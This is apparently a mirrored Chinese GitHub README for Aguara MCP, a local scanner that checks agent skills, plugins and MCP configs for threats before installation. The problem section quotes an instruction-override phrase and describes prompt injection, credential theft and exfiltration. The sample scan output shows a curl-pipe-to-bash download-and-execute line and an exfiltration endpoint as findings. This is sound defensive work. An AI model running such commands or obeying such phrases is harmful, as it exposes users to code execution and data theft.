garagon/aguara-mcp

GitHub: garagon/aguara-mcp

这是一个为 AI 智能体提供安全扫描能力的 MCP 服务器,让智能体在安装第三方技能和插件前能够自主检测提示注入、凭证泄露、远程代码执行等安全威胁。

Stars: 3 | Forks: 0

# Aguara MCP **AI 智能体的安全顾问。** Aguara MCP 是一个 [MCP server](https://modelcontextprotocol.io/),它赋予 AI 智能体在安装或运行技能、插件和 MCP 配置之前,扫描其中安全威胁的能力。基于 [官方 MCP SDK](https://github.com/modelcontextprotocol/go-sdk) (v1, Tier 1) 构建。 由 [Aguara](https://github.com/garagon/aguara) 驱动,这是专为 AI 智能体生态系统构建的开源安全扫描器。拥有 160+ 规则,15 个威胁类别,三个分析引擎(模式、NLP、toxic-flow),零网络访问。 ## 问题所在 AI 智能体正在获得越来越多的自主权。它们浏览注册表,发现工具,安装 MCP server,并执行第三方代码 —— 通常没有任何安全审查。 这创造了新的攻击面。今天发布到注册表的一项技能可能包含: - **Prompt injection**:劫持智能体的行为(“忽略所有先前的指令...”) - **Credential theft**:从智能体环境中窃取 API key、token 和 secret - **Remote code execution**:隐藏在安装脚本中的远程代码执行(`curl | bash`, shell injection) - **Data exfiltration**:静默地将用户数据发送到攻击者控制的 endpoint - **Supply chain attacks**:通过依赖混淆和 typosquatting 发起的供应链攻击 智能体并不知情。它无法区分有益的工具和被武器化的工具。描述看起来很正常。安装成功。损害已经造成。 **这就是 Aguara MCP 填补的空白。** 它为智能体提供了一个可以作为工具咨询的安全顾问 —— 就像开发人员在合并代码前运行 linter 一样。一次工具调用,几毫秒,完全本地化。智能体先检查,再做决定。 ## 快速开始 ``` curl -fsSL https://raw.githubusercontent.com/garagon/aguara-mcp/main/install.sh | sh ``` 或者使用 Go: ``` go install github.com/garagon/aguara-mcp@latest ``` 一条命令,一个二进制文件,无外部依赖。 ### 添加到您的 AI 智能体 **Claude Code:** ``` claude mcp add aguara -- aguara-mcp ``` **Claude Desktop** — 添加到 `claude_desktop_config.json`: ``` { "mcpServers": { "aguara": { "command": "aguara-mcp" } } } ``` **Cursor / Windsurf / 任何 MCP 客户端** — 使用 `aguara-mcp` 进行 stdio 传输。 您的智能体现在拥有了一位安全顾问。 ## 工具 ### `scan_content` 扫描文本中的安全威胁。在根据技能描述、工具定义、README 或任何不可信的内容采取行动之前使用它。 | 参数 | 必需 | 描述 | |-----------|----------|-------------| | `content` | 是 | 要扫描的文本内容 | | `filename` | 否 | 用于规则匹配的文件名提示(默认:`skill.md`) | | `min_severity` | 否 | 报告的最低严重级别:`INFO`, `LOW`, `MEDIUM`, `HIGH`, 或 `CRITICAL` | | `disabled_rules` | 否 | 要跳过的规则 ID 列表(例如,`["PROMPT_INJECTION_001"]`) | 返回包含严重级别评定、匹配模式、行号、置信度分数以及产生每个发现的分析引擎的结构化报告。 ### `check_mcp_config` 分析 MCP server 配置中的危险模式 —— 暴露的凭证、不安全的命令、权限过大的设置。 | 参数 | 必需 | 描述 | |-----------|----------|-------------| | `config` | 是 | MCP 配置,JSON 字符串格式 | | `min_severity` | 否 | 报告的最低严重级别:`INFO`, `LOW`, `MEDIUM`, `HIGH`, 或 `CRITICAL` | | `disabled_rules` | 否 | 要跳过的规则 ID 列表 | ### `list_rules` 浏览完整的规则数据库。当智能体需要了解存在哪些威胁类别或 Aguara 可以检测什么时非常有用。 | 参数 | 必需 | 描述 | |-----------|----------|-------------| | `category` | 否 | 按类别筛选(例如,`prompt-injection`, `exfiltration`, `credential-leak`) | ### `explain_rule` 获取特定规则的详细信息 —— 它检测什么、其模式以及真/假阳性示例。 | 参数 | 必需 | 描述 | |-----------|----------|-------------| | `rule_id` | 是 | 规则 ID(例如,`PROMPT_INJECTION_001`) | ### `discover_mcp` 发现本地机器上的 MCP server 配置。扫描 Claude Desktop, Cursor, VS Code, Windsurf 和其他 MCP 客户端的已知配置路径。返回所有服务器定义及其命令、参数和环境变量。 无需参数。 ## 示例 一个智能体正在评估是否从注册表安装 MCP server: ``` User: "Install the data-processor MCP server" Agent (before installing, calls scan_content with the skill README): → { "summary": "Found 2 issues: 1 critical, 1 high", "findings": [ { "severity": "CRITICAL", "rule_id": "SUPPLY_003", "rule_name": "Download-and-execute", "line": 12, "matched_text": "curl https://cdn.example.com/setup.sh | bash", "analyzer": "pattern" }, { "severity": "HIGH", "rule_id": "EXFIL_001", "rule_name": "Data exfiltration endpoint", "line": 34, "matched_text": "https://collect.example.com/data", "confidence": 0.92, "analyzer": "nlp" } ] } Agent: "I scanned the data-processor skill and found 2 security issues: a script that downloads and executes remote code, and an endpoint that could exfiltrate your data. I'd recommend not installing it." ``` 如果没有 Aguara MCP,智能体会悄无声息地安装它。 ## 覆盖范围 跨 12 个威胁类别的 173 条模式规则,外加 NLP 和 toxic-flow 分析器: | 类别 | 规则 | 检测内容 | |----------|-------|---------| | Credential leak | 20 | 明文中的 API key, token, secret | | Supply chain | 19 | 依赖混淆, typosquatting | | Prompt injection | 18 | 指令覆盖, 越狱, 角色劫持 | | Exfiltration | 16 | 数据发送到攻击者控制的 endpoint | | External download | 16 | curl\|bash, 远程脚本执行 | | MCP attacks | 16 | 工具投毒, 权限提升 | | Command execution | 15 | Shell injection, 子进程生成 | | Indirect injection | 11 | 通过外部内容注入 | | MCP config | 11 | 不安全的服务器配置 | | SSRF / Cloud | 11 | 元数据端点访问, SSRF 模式 | | Third-party content | 10 | 未经验证的外部数据使用 | | Unicode attacks | 10 | 同形字, 双向覆盖, 不可见字符 | 此外,NLP injection analyzer 和 toxic-flow analyzer 可以检测逃避静态模式的威胁。 ## 工作原理 ``` Agent Aguara MCP │ │ ├─ scan_content(text) ────►│ │ ├─ aguara.ScanContent() │ │ (in-process, no disk I/O) │ │ 160+ rules · 3 analyzers │◄─ structured report ─────┤ │ │ ├─ discover_mcp() ────────►│ │ ├─ aguara.Discover() │ │ (reads local config files) │◄─ server definitions ────┤ │ │ ``` Aguara MCP 将 [Aguara scanner](https://github.com/garagon/aguara) 作为 Go 库导入 —— 没有子进程,没有临时文件,没有外部二进制文件。扫描引擎在进程内运行,版本完整性由 `go.sum` 保证。 MCP 协议层使用 [官方 Go SDK](https://github.com/modelcontextprotocol/go-sdk)(Tier 1, Linux Foundation 治理, v1 semver 稳定性)。这确保了协议合规性以及随着 MCP 规范演进的长期兼容性。 无网络访问。无 LLM 调用。无云依赖。一切都在本地确定性地运行。扫描在几毫秒内完成。 ## 安全 有关漏洞披露政策,请参阅 [SECURITY.md](SECURITY.md)。 Aguara MCP 本身也经过了安全加固: - **无子进程执行** — Aguara 作为进程内 Go 库运行,消除了 PATH 劫持和二进制替换的风险 - **输入验证** — 规则 ID 根据严格格式进行验证,内容大小上限为 10 MB - **文件名清理** — 仅允许白名单字符,限制长度,无路径遍历 - **版本完整性** — Aguara scanner 版本固定在 `go.sum` 中,并在构建时验证 ## 高级 Debug 模式(将扫描详情记录到 stderr): ``` claude mcp add aguara -- aguara-mcp --debug ``` 从源码构建: ``` git clone https://github.com/garagon/aguara-mcp.git cd aguara-mcp make build # → ./aguara-mcp make test # runs all tests ``` ### 将 Aguara 作为 Go 库使用 Aguara MCP 使用 Aguara 公共 API。您可以在自己的工具中使用它: ``` import "github.com/garagon/aguara" result, err := aguara.ScanContent(ctx, content, "skill.md", aguara.WithMinSeverity(aguara.SeverityHigh), aguara.WithDisabledRules("CRED_001"), ) rules := aguara.ListRules(aguara.WithCategory("prompt-injection")) detail, err := aguara.ExplainRule("PROMPT_INJECTION_001") discovered, err := aguara.Discover() ``` 完整 API 参考 请参阅 [Aguara 文档](https://github.com/garagon/aguara)。 ## 许可证 [MIT](LICENSE)
标签:AI代理安全, AI治理, Claude工具, DNS 反向解析, EVTX分析, EVTX分析, Go语言, IP 地址批量处理, MCP服务器, Model Context Protocol, NLP分析, 大模型安全, 安全扫描, 恶意插件检测, 数据渗出, 文档安全, 日志审计, 时序注入, 本地安全工具, 程序破解, 第三方组件审计, 编程工具, 远程代码执行, 错误基检测, 零信任安全, 零日漏洞检测, 静态代码分析